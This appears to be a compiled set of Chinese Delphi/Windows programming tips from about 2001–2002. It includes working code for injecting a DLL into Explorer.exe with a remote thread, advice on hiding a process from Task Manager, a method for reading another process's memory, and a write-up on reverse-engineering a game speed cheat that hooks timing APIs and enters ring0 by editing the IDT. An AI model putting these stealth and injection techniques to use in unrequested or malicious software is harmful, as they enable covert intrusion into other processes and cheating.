中为什么[CAiTAnalyse.ocx]和[CAiTAnalyse.lic]里面file都指向同一个文件？

to BlackDragon：

我觉得你的例子和我的需求很象，只是你的例子中的[MSVBVM50.DLL]换成我的

[midas.dll]就可以了，但是现在我没法试验我的[midas.dll]。我就是想向你明确

一下：是不是按照你的写法我的cab在数字签名后就算是用.inf也可以出现我所需要的

那个控件提示框？

谢谢大家了！

来自：iamcaca, 时间：2002-4-4 13:10:00, ID：1022996

sorry.我的HTML里的内容写错了，应该为：

<OBJECT

classid="clsid:039E74E6-4426-452E-BA1B-AD252B591721"

id="aa"

codebase="./CAiTAnalyse.inf#version=1,0,0,2"

width=106

height=74

align=center

hspace=0

vspace=0

>

</OBJECT>

另file同时指向一个文件的原因是ocx和许可证书均在这个文件里


从一个URL中提取域名之后的东西


刷新IE设置

...force IE to re-read registry settings?

{

I've written a small app that modifies a setting for IE and need to somehow tell

IE to re-read the registry settings.

Does anyone know of an API call or message that will do this?

}

uses

WinInet;

procedure IE_Reread_Registry_Settings;

var

HInet: HINTERNET;

begin

hInet := InternetOpen(PChar('YourAppName'), INTERNET_OPEN_TYPE_DIRECT,

nil, nil, INTERNET_FLAG_OFFLINE);

try

if hInet <> nil then

InternetSetOption(hInet, INTERNET_OPTION_SETTINGS_CHANGED, nil, 0);

finally

InternetCloseHandle(hInet);

end;

end;


Win2000下隐身
以下是我在experts提出的关于Windows2000下进程隐身的问题

Question: Hide my program Date: 12/27/2000 01:00AM PST

From: bruce_luo

Status: Previously Asked Question Points: 75

I want develop a server program like LAN proxy server, but how can I hide

my program in Task List(TaskMgr.exe)? I try use RegisterServiceProcess

function, but this function not support Win2000. I know somebody already

used OpenProcess function to hided program. but how to do?

Sorry for my english - it's rather bad .

Bruce Luo - Dragon P.C.

Comment

From: Madshi Date: 12/27/2000 02:17AM PST

For win2000 you need to make your application be a service. Look here for

some infos about services: http://www.jgsoftware.com/nt.htm

Regards, Madshi.

Comment

From: tongalite Date: 12/27/2000 02:06PM PST

I found this.... Perhaps it will help you... It's short and sweet!

Preventing Applications from Showing in the Task Bar . The code below will

prevent your application from showing in the Windows Task bar and the Task

list.

Using it is pretty straightforward: in your DPR file, after

Application.Initialize, set Application.Showmainform to False. Add this

code:

SetWindowLong( application.handle, GWL_EXSTYLE,

GetWindowLong( application.handle, GWL_EXSTYLE )

or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW );

-------------------------------------------

so-long!

Tony

Comment

From: inthe Date: 12/28/2000 12:51AM PST

you cant just execute services,

to create them you can use File-New-Service Application.

(if you have that option else youll need to add SvcMgr to the uses and

create manually.)

then when youve made it you can use

from dos prompt

project1 /install

or

project1 /uninstall

to install and uninstall the service then

net start service2

net stop service2

or use control panel-admin tools-services to start and stop it.

below is example of a service and below that is example of starting and

stopping a service from code

:

go to the control panel - administrative tools - services to see it stop and

start when the buttons

are clicked in our delphi app.(may have to press refresh in service window)

the service (just beeps the speaker every 5 secs) :

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes,SvcMgr, ExtCtrls ;

type

TService2 = class(TService)

Timer1: TTimer;

procedure Timer1Timer(Sender: TObject);

private

{ Private declarations }

public

function GetServiceController: TServiceController; override;

{ Public declarations }

end;

var

Service2: TService2;

implementation

{$R *.DFM}

procedure ServiceController(CtrlCode: DWord); stdcall;

begin

Service2.Controller(CtrlCode);

end;

function TService2.GetServiceController: TServiceController;

begin

Result := ServiceController;

end;

procedure TService2.Timer1Timer(Sender: TObject);

begin

MessageBeep(1);

end;

end.

control app(not nessesary if you use control panel) :

unit Unit1;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls,WinSvc;

type

TForm1 = class(TForm)

Button1: TButton;

Button2: TButton;

procedure Button1Click(Sender: TObject);

procedure Button2Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function ServiceStart(sMachine, sService: String) : Boolean;

var

schm, schs: SC_Handle;

ss: TServiceStatus;

psTemp: PChar;

dwChkP: DWord;

begin

ss.dwCurrentState := 0;

schm := OpenSCManager(PChar(sMachine), nil, SC_MANAGER_CONNECT);

if (schm>0) then

begin

schs := OpenService(schm, PChar(sService), SERVICE_START or

SERVICE_QUERY_STATUS);

if (schs>0) then

begin

psTemp := nil;

if (StartService(schs, 0, psTemp)) then

if (QueryServiceStatus(schs, ss)) then

while (SERVICE_RUNNING<>ss.dwCurrentState) do

begin

dwChkP := ss.dwCheckPoint;

Sleep(ss.dwWaitHint);

if (not QueryServiceStatus(schs, ss)) then

Break;

if ss.dwCheckPoint <> 0 then

Break;

end;

CloseServiceHandle(schs);

end;

CloseServiceHandle(schm);

end;

Result := SERVICE_RUNNING=ss.dwCurrentState;

end;

function ServiceStop(sMachine, sService: String) : Boolean;

var schm, schs: SC_Handle;

ss: TServiceStatus;

dwChkP: DWord;

begin

schm := OpenSCManager(PChar(sMachine), nil, SC_MANAGER_CONNECT);

if (schm>0) then begin

schs := OpenService(schm, PChar(sService), SERVICE_STOP or

SERVICE_QUERY_STATUS);

if (schs>0) then

begin

if (ControlService(schs, SERVICE_CONTROL_STOP, ss)) then

if (QueryServiceStatus(schs, ss)) then

while (SERVICE_STOPPED<>ss.dwCurrentState) do

begin

dwChkP := ss.dwCheckPoint;

Sleep(ss.dwWaitHint);

if (not QueryServiceStatus(schs, ss)) then

Break;

if ss.dwCheckPoint <> 0 then

Break;

end;

CloseServiceHandle(schs);

end;

CloseServiceHandle(schm);

end;

Result := SERVICE_STOPPED=ss.dwCurrentState;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

ServiceStart('','Service2');

file://ServiceStart('\computername','Alerter');

file://this would be for remote services

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

ServiceStop('','Service2');

end;

end.

you can also install it from code (still working on that part myself) using

CreateService etc..

theres very little docs on services so if anyone else has any feel free to

add here :-)


NT/200下进程隐身
Jedei 在 2001-6-17 2:09:08 提供了如下回答, 请您查阅和评估:

--------------------------------------------------------------------------

---

我也来凑凑热闹:

AttachToProcess('Explorer.Exe', 'MyDll.Dll' );

file://查找指定的进程，然后返回进程ID

procedure FindAProcess(const AFilename:string; const PathMatch:Boolean;

var ProcessID: DWORD);

file://AFilename为要查找（进程ID）的文件名（可以包行路径）

file://PathMatch为查找的时候是否匹配路径

var

lppe:TProcessEntry32;

SsHandle:Thandle;

FoundAProc, FoundOK:boolean;

begin

SsHandle := CreateToolHelp32SnapShot(TH32CS_SNAPALL,0);

FoundAProc := Process32First(Sshandle,lppe);

while FoundAProc do

begin

if PathMatch then

FoundOK:=AnsiStricomp(lppe.szExefile,PChar(AFilename))=0

else

FoundOK:=AnsiStricomp(PChar(ExtractFilename(lppe.szExefile)),PChar(Extract

Filename(AFilename)))=0;

if FoundOK then

begin

ProcessID:=lppe.th32ProcessID;

break;

end;

FoundAProc :=Process32Next(SsHandle,lppe);

end;

// if not FoundAProc then showmessage(SysErrorMessage(GetLastError));

CloseHandle(SsHandle);

end;

file://激活或者停止指定的权限

function EnabledDebugPrivilege(const bEnabled: Boolean):Boolean;

var

hToken: THandle;

tp: TOKEN_PRIVILEGES;

a: DWORD;

const

SE_DEBUG_NAME = 'SeDebugPrivilege';

begin

Result:=False;

if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,

hToken)) then

begin

tp.PrivilegeCount :=1;

LookupPrivilegeValue(nil,SE_DEBUG_NAME ,tp.Privileges[0].Luid);

if bEnabled then

tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED

else

tp.Privileges[0].Attributes := 0;

a:=0;

AdjustTokenPrivileges(hToken,False,tp,SizeOf(tp),nil,a);

Result:= GetLastError = ERROR_SUCCESS;

CloseHandle(hToken);

end;

end;

file://在指定的进程中插入一个DLL文件

function AttachToProcess(const HostFile, GuestFile : string;const

PID:DWORD=0):DWORD;

file://HostFile为要绑定的宿主文件(Exe文件)，GuestFile为要嵌入的客户文件(Dll文

件)

file://如AttachToProcess('D:.DLL','Notepad.exe') ;

var

hRemoteProcess: THandle;

dwRemoteProcessId:DWORD;

cb:DWORD;

pszLibFileRemote: Pointer;

iReturnCode:Boolean;

TempVar:DWORD;

pfnStartAddr:TFNThreadStartRoutine;

pszLibAFilename: PwideChar;

begin

Result:=0;

EnabledDebugPrivilege(True);

Getmem(pszLibAFilename,Length(GuestFile)*2+1);

StringToWideChar(GuestFile,pszLibAFilename,Length(GuestFile)*2+1);

if PID>0 then dwRemoteProcessID:=PID else

FindAProcess(HostFile,False,dwRemoteProcessID);

file://由于我们后面需要写入远程进程的内存地址空间并建立远程线程，所以需要申请

file://足够的权限（PROCESS_CREATE_THREAD、VM_OPERATION、VM_WRITE）。

file://然后，我们可以建立LoadLibraryW函数这个线程来启动我们的DLL，

LoadLibraryW

file://函数是在kernel32.dll中定义的，用来加载DLL文件，它只有一个参数，就是DLL

file://文件的绝对路径名pszLibAFilename，（也就是DLL的全路径文件名），但是由于

file://DLL是在远程进程内调用的，所以我们首先还需要将这个文件名复制到远程地址

空

file://间：（否则远程线程是无法读到这个参数的）

hRemoteProcess := OpenProcess(PROCESS_CREATE_THREAD + file://允许远程创建线程

PROCESS_VM_OPERATION+ file://允许远程VM操作

PROCESS_VM_WRITE,//允许远程VM写

FALSE, dwRemoteProcessId);

file://计算DLL路径名需要的内存空间

cb := (1 + lstrlenW(pszLibAFilename)) * sizeof(WCHAR);

file://使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区

pszLibFileRemote := PWIDESTRING( VirtualAllocEx( hRemoteProcess, nil,

cb, MEM_COMMIT, PAGE_READWRITE));

file://使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间

TempVar:=0;

iReturnCode := WriteProcessMemory(hRemoteProcess,pszLibFileRemote,

pszLibAFilename, cb, TempVar);

if iReturnCode then

begin

file://计算LoadLibraryW的入口地址

pfnStartAddr := GetProcAddress(GetModuleHandle('Kernel32'),

'LoadLibraryW');

file://OK，万事俱备，我们通过建立远程线程时的地址pfnStartAddr（实际上就是

LoadLibraryW

file://的入口地址）和传递的参数 pszLibFileRemote（实际上是我们复制过去的

DLL的全路

file://径文件名）在远程进程内启动我们的DLL：

file://启动远程线程LoadLibraryW，通过远程线程调用用户的DLL文件

TempVar:=0;

Result := CreateRemoteThread(hRemoteProcess, nil, 0, pfnStartAddr,

pszLibFileRemote, 0, TempVar);

end;

Freemem(pszLibAFilename);

end;


访问一个进程的内存空间
如果读远端程序的内存呢？其实可以有一种方法，我没有试过，但理论上是可行的：

先用CreateRemoteThread在远端进程中创建一个线程，然后在本地缓冲区中写调用

DLL的汇编语言如下：

mov eax,{此处写你的DLL文件的路径}

push eax,

call Loadlibrary,

push eax,

push eax,

call freelibrary,

call ExitThread

然后调用WriteProcessmemory将这段代码写到远段进程的线程栈中。

接着用getThreadContext获得远段进程的CPU的CONTEXT结构，使栈指

针指向你的代码语言，并使指令指针指向你的代码语言的第一个字节，

然后用SetThreadContext将设定写入远端进程寄存器，最后调用ResumeThread

,远端进程将执行你的代码，并将你的DLL语言调入内存，此时该进程

的所有数据将对该DLL是透明的，因为调入的DLL将作为该进程的一部分，

是存在该进程空间的，不会发生访问冲突，如果在该DLL写入一些我们想

要的东西，我们就可以轻而易举的获得！此时该进程已被突破！

****************************

如何访问一个进程的内存空间

---- 在WIN32中，每个应用程序都可"看见"4GB的线性地址空间，其中最开始的4MB和最后的2GB由操作系统保留，剩下不足2GB的空间用于应用程序私有空间。具体分配如下：0xFFFFFFFF-0xC0000000的1GB用于VxD、存储器管理和文件系统；0xBFFFFFFF-0x80000000的1GB用于共享的WIN32 DLL、存储器映射文件和共享存储区；0x7FFFFFFF-0x00400000为每个进程的WIN32专用地址；0x003FFFFF-0x00001000为MS-DOS 和 WIN16应用程序；0x00000FFF-0x00000000为防止使用空指针的4,096字节。以上都是指逻辑地址，也就是虚拟内存。

---- 虚拟内存通常是由固定大小的块来实现的，在WIN32中这些块称为"页"，每页大小为4,096字节。在Intel CPU结构中，通过在一个控制寄存器中设置一位来启用分页。启用分页时CPU并不能直接访问内存，对每个地址要经过一个映射进程，通过一系列称作"页表"的查找表把虚拟内存地址映射成实际内存地址。通过使用硬件地址映射和页表WIN32可使虚拟内存即有好的性能而且还提供保护。利用处理器的页映射能力，操作系统为每个进程提供独立的从逻辑地址到物理地址的映射，使每个进程的地址空间对另一个进程完全不可见。WIN32中也提供了一些访问进程内存空间的函数，但使用时要谨慎，一不小心就有可能破坏被访问的进程。本文介绍如何读另一个进程的内存，写内存与之相似，完善一下你也可以做个 FPE 之类的内存修改工具。好吧，先准备好编程利器Delphi 和 参考手册 MSDN ，Now begin!

ReadProcessMemory 读另一个进程的内存，原形如下：

BOOL ReadProcessMemory(

HANDLE hProcess, // 被读取进程的句柄；

LPCVOID lpBaseAddress, // 读的起始地址；

LPVOID lpBuffer, // 存放读取数据缓冲区；

DWORD nSize, // 一次读取的字节数；

LPDWORD lpNumberOfBytesRead // 实际读取的字节数；

);

hProcess 进程句柄可由OpenProcess 函数得到，原形如下：

HANDLE OpenProcess(

DWORD dwDesiredAccess, // 访问标志；

BOOL bInheritHandle, // 继承标志；

DWORD dwProcessId // 进程ID；

);

---- 当然，用完别忘了用 CloseHandle 关闭打开的句柄。读另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_READ ，写另一个进程的内存 dwDesiredAccess 须指定为 PROCESS_VM_WRITE ，继承标志无所谓，进程ID可由 Process32First 和 Process32Next 得到，这两个函数可以枚举出所有开启的进程，这样进程的信息也就得到了。 Process32First 和 Process32Next是由 TLHelp32 单元提供的，需在 uses 里加上TLHelp32。ToolsHelp32 封装了一些访问堆、线程、进程等的函数，只适用于Win9x，原形如下：

BOOL WINAPI Process32First(

HANDLE hSnapshot //

由 CreateToolhelp32Snapshot 返回

的系统快照句柄；

LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；

)；

BOOL WINAPI Process32Next(

HANDLE hSnapshot // 由 CreateToolhelp32Snapshot 返回

的系统快照句柄；

LPPROCESSENTRY32 lppe // 指向一个 PROCESSENTRY32 结构；

)；

hSnapshot 由 CreateToolhelp32Snapshot 返回的系统快照句柄；

CreateToolhelp32Snapshot 原形如下：

HANDLE WINAPI CreateToolhelp32Snapshot(

DWORD dwFlags, // 快照标志；

DWORD th32ProcessID // 进程ID；

);

现在需要的是进程的信息，所以将 dwFlags

指定为 TH32CS_SNAPPROCESS，

th32ProcessID 忽略；PROCESSENTRY32 结构如下：

typedef struct tagPROCESSENTRY32 {

DWORD dwSize; // 结构大小；

DWORD cntUsage; // 此进程的引用计数；

DWORD th32ProcessID; // 进程ID;

DWORD th32DefaultHeapID; // 进程默认堆ID；

DWORD th32ModuleID; // 进程模块ID；

DWORD cntThreads; // 此进程开启的线程计数；

DWORD th32ParentProcessID;// 父进程ID；

LONG pcPriClassBase; // 线程优先权；

DWORD dwFlags; // 保留；

char szExeFile[MAX_PATH]; // 进程全名；

} PROCESSENTRY32;

---- 至此，所用到的主要函数已介绍完,实现读内存只要从下到上依次调用上述函数即可，具体参见原代码：

procedure TForm1.Button1Click(Sender: TObject);

var

FSnapshotHandle:THandle;

FProcessEntry32:TProcessEntry32;

Ret : BOOL;

ProcessID : integer;

ProcessHndle : THandle;

lpBuffer:pByte;

nSize: DWORD;

lpNumberOfBytesRead: DWORD;

i:integer;

s:string;

begin

FSnapshotHandle:=CreateToolhelp32Snapshot(

TH32CS_SNAPPROCESS,0);

//创建系统快照

FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);

//先初始化 FProcessEntry32 的大小

Ret:=Process32First(FSnapshotHandle,FProcessEntry32);

while Ret do

begin

s:=ExtractFileName(FProcessEntry32.szExeFile);

if s='KERNEL32.DLL' then

begin

ProcessID:=FProcessEntry32.th32ProcessID;

s:='';

break;

end;

Ret:=Process32Next(FSnapshotHandle,FProcessEntry32);

end;

//循环枚举出系统开启的所有进程，找出"Kernel32.dll"

CloseHandle(FSnapshotHandle);

Memo1.Lines.Clear ;

memo1.lines.add('Process ID '+IntToHex(

FProcessEntry32.th32ProcessID,8));

memo1.lines.Add('File name '+FProcessEntry32.szExeFile);

////输出进程的一些信息

nSize:=4;

lpBuffer:=AllocMem(nSize);

ProcessHndle:=OpenProcess(PROCESS_VM_READ,false,ProcessID);

memo1.Lines.Add ('Process Handle '+intTohex(ProcessHndle,8));

for i:=$00800001 to $0080005f do

begin

ReadProcessMemory(

ProcessHndle,

Pointer(i),

lpBuffer,

nSize,

lpNumberOfBytesRead

);

s:=s+intTohex(lpBuffer^,2)+' ';

//读取内容

if (i mod 16) =0 then

begin

Memo1.Lines.Add(s);

s:='';

end;

//格式化输出

end;

FreeMem(lpBuffer,nSize);

CloseHandle(ProcessHndle);

//关闭句柄，释放内存

end;

---- 以上程序在 Delphi4 中文Win98 下调试通过。


控制Dos程序的输入输出
AllocConsole

CreateConsoleScreenBuffer

FillConsoleOutputAttribute

FillConsoleOutputCharacter

FlushConsoleInputBuffer

FreeConsole

GenerateConsoleCtrlEvent

GetConsoleCP

GetConsoleCursorInfo

GetConsoleMode

GetConsoleOutputCP

GetConsoleScreenBufferInfo

GetConsoleTitle

GetLargestConsoleWindowSize

GetNumberOfConsoleInputEvents

GetNumberOfConsoleMouseButtons

GetStdHandle

HandlerRoutine

PeekConsoleInput

ReadConsole

ReadConsoleInput

ReadConsoleOutput

ReadConsoleOutputAttribute

ReadConsoleOutputCharacter

ScrollConsoleScreenBuffer

SetConsoleActiveScreenBuffer

SetConsoleCP

SetConsoleCtrlHandler

SetConsoleCursorInfo

SetConsoleCursorPosition

SetConsoleMode

SetConsoleOutputCP

SetConsoleScreenBufferSize

SetConsoleTextAttribute

SetConsoleTitle

SetConsoleWindowInfo

SetStdHandle

WriteConsole

WriteConsoleInput

WriteConsoleOutput

WriteConsoleOutputAttribute

WriteConsoleOutputCharacter


控制游戏的速度
：sahee, 时间：2001-6-15 16:53:43, ID：568284

注：为节省篇幅，本文对一些计算机术语直接使用而没有作详细的解释，读者若有不熟悉之处，建议参考清华大学出版社出版，周明德编著的《微型计算机系统原理及应用》一书中关于8253/8254定时器和x86保护模式的相应章节。

“变速齿轮”研究手记

也许是我孤陋寡闻吧，说出来不怕您笑话，对于“变速齿轮”这样著名的软件，我一直到五天前，也就是2001年2月28号才第一次听说。我有几个同学很喜欢玩图形MUD，整天见了面就在一起切磋“泥”技。我对MUD本身并没有多大兴趣，但是那天早上偶尔听他们说某个MUD站点明文规定严禁使用“齿轮”，这才好奇地问他们什么是“齿轮”。别人告诉我，“齿轮”是一个软件，能对Windows下的游戏加速，他们在玩MUD时就依靠这个软件作弊。这不禁令我一头雾水，能让Windows游戏改变速度，太神奇了！

我一贯对技术很有兴趣，听说有这么一个神奇的软件，当然要想想它是怎么实现的。这个软件看起来并不复杂，我原以为一个早自习好好琢磨琢磨就行，可是我想了好几节课，始终不得其要领。说来也巧，我们这学期有一面必修课是Linux内核原理分析，这几天正好学到了进程调度，老师说，当一个时钟中断发生的时候，操作系统要做很多事情，比如必要时要重新调度进程从而实现抢先式多任务，还要更新系统时钟......慢着，我突发奇想，如果让时钟中断产生的更快，会发生什么事情呢？

我们已经学过“微机原理”这门课程，我知道让时钟中断产生的更快不是难事，以前我就用DOS下的汇编语言写过这样的程序，这是我们当时的作业。可是我以前的程序在Windows下虽然可以运行，但并不能对Windows系统加速，道理很显然：Windows9x是使用x86虚拟机的机制来兼容DOS程序的，我的程序只能改变虚拟机，就是那个黑窗口的时钟中断。

于是我试图把以前的DOS程序搬到32位环境中。用VC内嵌汇编做这件事再合适不过了，在一个VC程序框架中加上一个__asm，然后只管把以前的汇编程序往里贴就行。我满怀希望地运行这样一个拼凑出来的怪物，结果，出现了一个大家都很熟悉的“该程序执行了非法操作”，我的试验以失败告终。

后来冷静下来仔细想想，这次失败的原因是显然的。Windows作为一个复杂的32位操作系统，如果能让你随便对硬件进行操作，那也许运行不了几个程序就崩溃了。但是如何绕过操作系统去操作硬件呢？我首先想到了vxd，编写一个驱动程序肯定可以操作硬件，但是，很可惜，我不会设计驱动程序。于是我想到了以前看到的CIH的源码，CIH没有写vxd，却能操作硬件去烧毁BIOS，陈盈豪真是太伟大了，他的程序精巧之处我至今记忆犹新。于是我模仿他的技术，修改IDT表，创建一个中断门，然后发生中断，进入ring0，现在我可以做任何事情了，按照以前的DOS程序那样，往8253定时器里写一个控制字，再分两次写入新的时钟中断发生频率，一切顺利！（详细技术请您参考我的“兄弟变速器”源码）我看到VC编辑区的光标疯狂的闪烁；双击已经失效了，因为Windows认为我双击的时间间隔太长；Windows任务栏右方的时间飞快跳动，应该说，我已经成功了。

当时我想当然的以为“变速齿轮”的原理也是如此，可是当我从同学那里把“齿轮”拷来并研究时，发现Windows的时钟并不变快，而游戏速度照样可以加上去，也就是说，“齿轮”采用了与我的程序不同的技术，是什么技术呢？我决定继续研究。

我访问了“变速齿轮”的主页，这个主页上有一个“你问我答”的栏目，由“齿轮”的作者王荣先生进行技术支持。我试图在这里找到一些关于“齿轮”的技术细节，但是很可惜，没有找到，王荣先生只是告诉大家这个程序不能用VB编写等等根本连皮毛也不涉及的问题，好不容易见到一个外国人问能不能公布源代码，其实这也是我想问的，但是王荣先生明确表示不行，这不禁令我感到非常失望。

我也想过写信去索取原码，也许他不向外国人公布，中国人可不一定。但是咱们“臭老九”最爱一个面子，我实在拉不下脸去问。这时已经是晚上10点了，我决定祭出SoftIce，用一夜时间去研究他的程序。

当时使用的工具是SoftIce，WD32ASM和VC，手边两本参考书是《微型计算机系统原理及应用》和《Linux操作系统内核分析》（都是我们的课本，呵呵）。

起初，“变速齿轮”0.2版的一个叫hook.dll的文件很大程度上吸引了我的注意力，我怀疑他使用Windows消息钩子实现变速，消息钩子我很熟悉，但我把MSDN上面关于钩子的介绍看了好久，也没有想出它和变速有什么联系，这时偶然看了一下在王荣先生的主页上得到的“变速齿轮”0.1版，才发现老版本中并没有这个文件，也就是说，我只需要反汇编他的主程序就够了，于是，二话不说，用WD32ASM先把0.1版的“齿轮”给拆了，汇编代码5000多行，并不算多。

我是从这个程序的导入函数着手的，以前编程时用于定时的SetTimer，timeGetTime，timeSetEvent等等这里都导入了，看看它们被引用的地方，我发现这些函数都是集中出现的，而且大都以这样的形式出现：

* Reference To: WINMM.timeGetTime, Ord:0098h

:00401F3E 8B0D64424000 mov ecx, dword ptr [00404264]

:00401F44 8B11 mov edx, dword ptr [ecx]

也就是说，他并没有调用这些函数，只是取得了函数的入口地址，保存在ecx中，然后又根据这个入口地址得到了函数的前面几个字节，保存在edx中。

这让我想到了前些日子在CSDN上面和别人讨论的Hook API的原理，当时我还索取了一份Hook API的例程，如果我要Hook这里的函数timeGetTime，修改ecx中的地址或者修改edx处的头几条指令就行，用汇编语言写，与上面看到的这段代码类似。

为了测试“齿轮”是不是要Hook这里的timeGetTime，我自己编写了一个很简单的小程序，调用timeGetTime，每秒钟显示一个数字。用“齿轮”进行加速后，果然显示的速度快多了。再用SoftIce跟进这个timeGetTime函数，第一条指令变成一个跳转，这充分说明“齿轮”确实Hook了这几个API，不难猜测，他要改变函数的返回值，也就是说在timeGetTime结束时还要再跳入“齿轮”自身的代码，耐心跟下去，我发现回到timeGetTime时栈里多压了一个地址，这样，当timeGetTime用ret指令返回时，先返回“齿轮”的代码（这个思想确实很巧），返回值经过处理后，才跳回我的应用程序。至于怎么处理这个返回值就简单了，改到原先的2倍，应用程序速度也就提高了2倍。

回头再看WD32ASM反汇编的代码，我又发现在Hook API前面的不远处使用了一次SGDT指令和两次SLDT指令，这是x86保护方式的特有指令，用于获得全局描述符表，进一步得到局部描述符表，这段代码引起了我的兴趣，用SoftIce跟进去，往下走几步，一边跟一边猜，大致整理出了这样的思路：

1.创建一个内存映射，把自己的代码映射到0x80000000以上的地方，在Win9x下，这块虚存是所有进程共享的。

2.先得到局部描述符表的地址，然后利用这张表修改代码段的特权级。

3.用局部描述符表创建一个调用门，在x86的保护模式下要进入ring0必须通过门来进行，CIH是用中断门完成的，这里用调用门完成，异曲同工。

4.保存几个关键函数前六个字节，改为一条跳转指令，跳到自己已经映射到高端的代码。

5.发生函数调用时进入自己的代码，通过调用门进入ring0，恢复函数开头的几个字节，修改返回值。

这时已经是凌晨5点了，既然主要思想已经掌握，我也就没有细看这段代码，8点钟还要上课，睡觉去也。

回头想想，我认为王荣先生的代码还有几点值得推敲之处：

1.如果要Hook API，一定要改变函数的第一条指令吗？如果仅仅改变函数的入口地址，不是既容易编也容易调试吗？

2.即使要改变函数第一条指令，一定要进入ring0吗？

3.即使要进入ring0，使用中断门不是比用调用门更方便吗？

当然，按照王荣先生在他的主页上的说法，“变速齿轮”0.1版是他在三年前即1997年写的，那时Windows95刚刚出来两年，能有这样的技术已经难能可贵了，这里对王荣先生的钻研精神表示由衷的敬佩。

在我研究出“变速齿轮”的原理后三天，我以自己原先的研究结果为核心，编写出了“兄弟变速器”的最初版本，不用“变速齿轮”的技术是因为我认为我的技术更优越，何况也没有拾人牙慧之嫌了 ^_^

最后再次对王荣先生表示感谢，这样精彩的创意值得我们敬佩。

摘录自http://www.vrbrothers.com(感谢作者还提供源吗,我本人非常敬仰这种精神)

兄弟变速器 1.0 中文版自 述 文 件

--------------------------------------------------------------------------------

兄弟制作组 2001.3

欢迎您访问我们的网站http://www.vrbrothers.com，获取升级信息和最新版本！

1.概述

2.软件特色

3.软件的安装和配置

4.软件功能详解

5.关于制作组

6.疑难解答

1.概述

兄弟变速器是一个可以调节Windows系统速度的神奇软件，您可以用它随意加快或放慢Windows

本身和所有应用软件的速度，同时支持热键定义，您可以随时按下热键呼出窗口，加速，减速，

或者立即调节到您设定的速度。

我们用星际争霸，红色警戒2，FIFA2001等游戏进行了测试，效果非常理想，比如，在FIFA中

您可以带球靠近球门，然后按热键减速，从容不迫地完成整个射门动作！

2.软件特色

与同类的软件（如著名的“变速齿轮”）相比，本软件具有以下优势：

1) 支持操作系统广泛，全面支持Windows95，97，98，98SE，ME，NT4，2000等多种操作系统。

2) 线性无级变速，您可以随意拖动滑块，自由调节。（“变速齿轮”最新版仅支持十几档速度）

3) 支持的软件更广泛。由于我们采用了和“变速齿轮”完全不同的技术，对整个Windows系统进

行变速，因此能够支持更多的软件。

4) 方便的界面设计，您可以设定呼出窗口，加速，减速，恢复速度，以及6个自定义热键，随时切换。

5) 软件退出后速度的改变仍然有效，直到您下一次重新启动计算机。

6) 公布了采用Visual C++编写的源代码（当然是免费的），今后还会开发出针对其他编程语言如

VB，Delphi的开发包，喜欢编程的朋友也可以定制自己的变速器。

3.软件的安装和配置

本软件是绿色软件，无需安装。对于Windows9x可以即拷即用；对于WindowsNT4和Windows2000操

作系统，只需要把文件zntport.sys拷贝到

Windows目录下的System32子目录中，即可使用。

我们提供了一个变速效果演示程序demo.exe，运行它，按照提示操作，您可以很明显的看到变速效果。

本软件公布源代码，您可以在我们的主页http://www.vrbrothers.com上找到。

4.软件功能详解

本软件的使用非常简单。在“设置速度 ”区域内，您可以拖动滑块选择速度，或者直接输入50－20000

之间的速度值，完成后，按下“确认”，速度改变生效。您也可以按“设置默认”将当前速度设为默认

值，以后按“恢复默认”即可立即调节到您设定的默认速度。

在“设置热键”区域内，您可以设置呼出窗口，加速，减速，恢复默认速度，以及六个自定义速度的热

键，对于自定义速度，还要进一步指定速度或者按“当前值”使用当前滑块值作为自定义速度。

其余主要功能包括自动校正鼠标双击速度，窗口隐藏等。对Windows加速后，双击操作将失效，因为Windows

认为您双击的时间间隔太短，如果您选择“自动校正鼠标双击速度”即可解决这一问题；按下“窗口隐藏”

后本窗口将不在任务栏出现，您可以按呼出热键或单击右下角的图标呼出窗口。

把鼠标在控件上停留数秒，会出现当前控件的简单介绍。

5.关于制作组

本软件由 Brothers 兄弟软件制作小组 创作完成。

创意：李玮 褚瑞

程序设计：褚瑞

Brothers的其他作品包括：

英语四级考试辅导1.0版（for DOS）

英语四级考试辅导2.0版（for Windows）

黑白棋1.0版

驱动器隐藏工具

Spy Brothers

程式猎人（目前最新版本1.27版）

Brothers目前的全部成员包括：

褚瑞（组长） （rchu@263.net）

乔宜臼（chinatang@yeah.net）

朱永春（zhuzhuzhu@netease.com）

叶成名（yy_cc_mm@263.net）

李玮（leo1979@sina.com）

洪流（南非籍）（hongleon@crosswinds.net）

关于Brothers制作组的详细信息，欢迎您到http://www.vrbrothers.com访问。在这里您不仅可以获得

我们的全部信息，还可以下载本软件的最新版本或我们的其他作品，也可以了解我们的一些最新动态。

Brothers随时欢迎各路高手的加盟！

6.疑难解答

1) 加速是不是“软超频”，会不会对CPU造成损害？

答：“软超频”是指用软件改变CPU的工作主频，而无论是“兄弟变速器”还是著名的“变速齿轮”都

没有改变CPU的主频，事实上您的计算机速度并没有改变，只是“欺骗”了操作系统和应用软件，让它

认为时间变化了。正如“变速齿轮”的作者说的那样，如果能改变计算机的速度，那Intel或AMD干脆

改行做软件得了。

当然，加速时您的CPU会工作在较高的负载下工作，但是对于CPU来讲，它是按照满负载运行设计的，只

要不超频，就不会造成损害。

2) 加速或减速会不会毁掉我的操作系统。

答：加速或减速并没有往您的硬盘中写任何信息，因此不论您如何加速，只要重新启动一切就会复原，不

会毁坏操作系统。

3) 为什么我变速一段后发现时间不对了？

答：这是必然的，对于现在的计算机系统，时钟由操作系统维持（这样才能避免“千年虫”问题的出现），本

软件改变了系统的速度，因此会影响到时钟。重新启动就一切正常了。我们正在考虑在后续版本中加入自动修

正时钟的功能。

4) 为什么加速后我的双击操作不灵了？

答：因为Windows认为您双击的时间间隔太短，如果您选中“自动校正鼠标双击速度”即可自动解决这一问题。

